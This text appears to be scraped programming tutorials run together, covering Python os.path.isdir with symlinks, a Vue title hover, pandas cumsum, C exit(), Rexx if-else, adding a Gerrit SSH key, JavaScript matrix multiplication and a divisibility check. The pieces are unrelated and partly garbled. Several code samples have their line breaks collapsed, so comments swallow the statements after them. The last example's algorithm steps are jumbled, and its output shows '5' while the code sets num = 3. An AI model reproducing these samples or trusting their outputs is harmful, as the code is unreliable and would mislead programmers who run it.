Code #2: If the specified path is a symbolic link
# Python program to explain os.path.isdir() method     # importing os.path module import os.path    # Create a directory# (in current working directory)dirname = "GeeksForGeeks"os.mkdir(dirname)  # Create a symbolic link# pointing to above directorysymlink_path = "/home/User/Desktop/gfg"os.symlink(dirname, symlink_path)    path = dirname  # Now, Check whether the # specified path is an# existing directory or notisdir = os.path.isdir(path)print(isdir)  path = symlink_path  # Check whether the # specified path (which is a# symbolic link ) is an# existing directory or notisdir = os.path.isdir(path)print(isdir)
True
True

Reference: https://docs.python.org/3/library/os.path.html
Python OS-path-module
python-os-module
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Create a Hover effect in Vue.js

22 Feb, 2021
Vue is a progressive framework for building user interfaces. The core library is focused on the view layer only and is easy to pick up and integrate with other libraries. Vue is also perfectly capable of powering sophisticated Single-Page Applications in combination with modern tooling and supporting libraries.
To create the hover effect to get more information upon hovering, we have to bind the ‘title’ attribute and assign a proper title that we want to show upon hovering in the vue element. If it makes no sense let’s jump into the example to get a more clear view.
Example:
Filename: index.html
HTML
<!DOCTYPE html><html lang="en">  <head>    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js">    </script></head>  <body>    <div id='parent'>        <h3>            Different Frameworks and             Libraries in JavaScript        </h3>        <button v-bind:title='reactMsg'>React</button>        <button v-bind:title='vueMsg'>Vue</button>        <button v-bind:title='angularMsg'>Angular</button>        <script src='app.js'></script>    </div></body></html>
Filename: app.js
Javascript
const parent = new Vue({    el : '#parent',    data : {          // Data that interpolate in DOM        reactMsg: "React with Redux works awesome",        vueMsg: "Vue is a progressive framework                  for building user interfaces",        angularMsg: "Angular is awesome for single                     page application development"    }})
Output:
Vue.JS
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python | Pandas Series.cumsum() to find cumulative sum of a Series - GeeksforGeeks

31 Oct, 2018
Pandas Series.cumsum() is used to find Cumulative sum of a series. In cumulative sum, the length of returned series is same as input and every element is equal to sum of all previous elements.
Syntax: Series.cumsum(axis=None, skipna=True)
Parameters:axis: 0 or ‘index’ for row wise operation and 1 or ‘columns’ for column wise operationskipna: Skips NaN addition for elements after the very next one if True.
Result type: Series
Example #1:In this example, a series is created from a Python list using Pandas .Series() method. The list also contains a Null value and the skipna parameter is kept default, that is True.
# importing pandas moduleimport pandas as pd  # importing numpy moduleimport numpy as np  # making list of valuesvalues = [3, 4, np.nan, 7, 2, 0]  # making series from listseries = pd.Series(values)  # calling methodcumsum = series.cumsum()  # displaycumsum
Output:
3
7
NaN
14
16
16
dtype: float64
ExplanationCumulative sum is sum of current and all previous values. As shown in above output, the addition was done as follows
3
3+4 = 7
7+NaN = NaN
7+7 = 14
14+2 = 16
16+0 = 16
 Example #2: skipna=FalseIn this example, a series is created just like in the above example. But the skipna parameter is kept False. Hence NULL values won’t be ignored and it would be added every time after it’s occurrence.
# importing pandas moduleimport pandas as pd  # importing numpy moduleimport numpy as np  # making list of valuesvalues = [1, 20, 13, np.nan, 0, 1, 5, 23]  # making series from listseries = pd.Series(values)  # calling methodcumsum = series.cumsum(skipna = False)  # displaycumsum
Output:
0     1.0
1    21.0
2    34.0
3     NaN
4     NaN
5     NaN
6     NaN
7     NaN
dtype: float64
Explanation: As it can be seen in output, all the values after first occurrence of NaN are also NaN since any number + NaN is also NaN.
Python pandas-series
Python pandas-series-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Python Dictionary
Enumerate() in Python
How to Install PIP on Windows ?
Different ways to create Pandas Dataframe
Python String | replace()
Reading and Writing to text files in Python
sum() function in Python
Create a Pandas DataFrame from Lists
How to drop one or multiple columns in Pandas Dataframe
*args and **kwargs in Python
C library function - exit()

The C library function void exit(int status) terminates the calling process immediately. Any open file descriptors belonging to the process are closed and any children of the process are inherited by process 1, init, and the process parent is sent a SIGCHLD signal.
Following is the declaration for exit() function.
void exit(int status)
status − This is the status value returned to the parent process.
status − This is the status value returned to the parent process.
This function does not return any value.
The following example shows the usage of exit() function.
#include <stdio.h>
#include <stdlib.h>

int main () {
   printf("Start of the program....\n");
   
   printf("Exiting the program....\n");
   exit(0);

   printf("End of the program....\n");

   return(0);
}
Let us compile and run the above program that will produce the following result −
Start of the program....
Exiting the program....


    12 Lectures 
     2 hours 

 Nishant Malik

    12 Lectures 
     2.5 hours 

 Nishant Malik

    48 Lectures 
     6.5 hours 

 Asif Hussain

    12 Lectures 
     2 hours 

 Richa Maheshwari

    20 Lectures 
     3.5 hours 

 Vandana Annavaram

    44 Lectures 
     1 hours 

 Amit Diwan
 Print
 Add Notes
 Bookmark this page
Rexx - If else statement

The next decision-making statement is the if-else statement. An if statement can be followed by an optional else statement, which executes when the Boolean expression is false.
The general form of this statement in Rexx is as follows. −
if (condition) then 
   do 
      #statement1 
      #statement2 
   end 
else 
   do 
      #statement3 
      #statement4 
   end 

In Rexx, the condition is an expression which evaluates to either true or false. If the condition is true, then the subsequent statements are executed. Else if the condition is evaluated to false, then the statements in the else condition are evaluated.
The flow diagram of the if-else statement is as follows −
From the above diagram, it can be noted that we have two code blocks. One gets executed if the condition is evaluated to true and the other if the code is evaluated to false.
The following program is an example of the simple if-else expression in Rexx.
/* Main program */ 
i = 50 
if (i < 10) then 
   do 
      say "i is less than 10" 
   end  
else 
   do 
      say "i is greater than 10" 
   end 
The output of the above code will be −
i is greater than 10 

 Print
 Add Notes
 Bookmark this page
Gerrit - Add Your SSH Key

You can add SSH key to the ssh-agent on different platforms discussed further.
Use the following command on Linux system to add SSH key
cat /home/<local-user>/.ssh/id_rsa.pub

Open the GIT GUI and go to Help → Show SSH Key as shown in the following image.
Then, click the Copy To Clipboard button, to copy the key to the clipboard.
In Mac OS X, you can copy id_rsa.pub contents to the clipboard using the following command.
$ pbcopy < ~/.ssh/id_rsa.pub

 Print
 Add Notes
 Bookmark this page
Algorithm for matrix multiplication in JavaScript

We are required to write a JavaScript function that takes in two 2-D arrays of numbers and
returns their matrix multiplication result.
Let’s write the code for this function −
The code for this will be −
const multiplyMatrices = (a, b) => {
   if (!Array.isArray(a) || !Array.isArray(b) || !a.length || !b.length) {
      throw new Error('arguments should be in 2-dimensional array format');
   }
   let x = a.length,
   z = a[0].length,
   y = b[0].length;
   if (b.length !== z) {
      // XxZ & ZxY => XxY
      throw new Error('number of columns in the first matrix should be
      the same as the number of rows in the second');
   }
   let productRow = Array.apply(null, new Array(y)).map(Number.prototype.valueOf, 0);
   let product = new Array(x);
   for (let p = 0; p < x; p++) {
      product[p] = productRow.slice();
   }
   for (let i = 0; i < x; i++) {
      for (let j = 0; j < y; j++) {
         for (let k = 0; k < z; k++) {
            product[i][j] += a[i][k] * b[k][j];
         }
      }
   }
   return product;
}
// 5 x 4
let a = [
   [1, 2, 3, 1],
   [4, 5, 6, 1],
   [7, 8, 9, 1],
   [1, 1, 1, 1],
   [5, 7, 2, 6]
];
// 4 x 6
let b = [
   [1, 4, 7, 3, 4, 6],
   [2, 5, 8, 7, 3, 2],
   [3, 6, 9, 6, 7, 8],
   [1, 1, 1, 2, 3, 6]
];
// should result in a 5 x 6 matrix
console.log(multiplyMatrices(a, b));
The output in the console −
[
   [ 15, 33, 51, 37, 34, 40 ],
   [ 33, 78, 123, 85, 76, 88 ],
   [ 51, 123, 195, 133, 118, 136 ],
   [ 7, 16, 25, 18, 17, 22 ],
   [ 31, 73, 115, 88, 73, 96 ]
]
Check if product of first N natural numbers is divisible by their sum in Python

Suppose we have a number n. We have to check whether the product of (1*2*...*n) is divisible by (1+2+...+n) or not
So, if the input is like num = 5, then the output will be True as (1*2*3*4*5) = 120 and (1+2+3+4+5) = 15, and 120 is divisible by 15.
To solve this, we will follow these steps −
if num + 1 is prime, thenreturn false
return false
return true
Let us see the following implementation to get better understanding −
 Live Demo
def isPrime(num):
   if num > 1:
      for i in range(2, num):
         if num % i == 0:
            return False
      return True
   return False
def solve(num):
   if isPrime(num + 1):
      return False
   return True
num = 3
print(solve(num))
5
True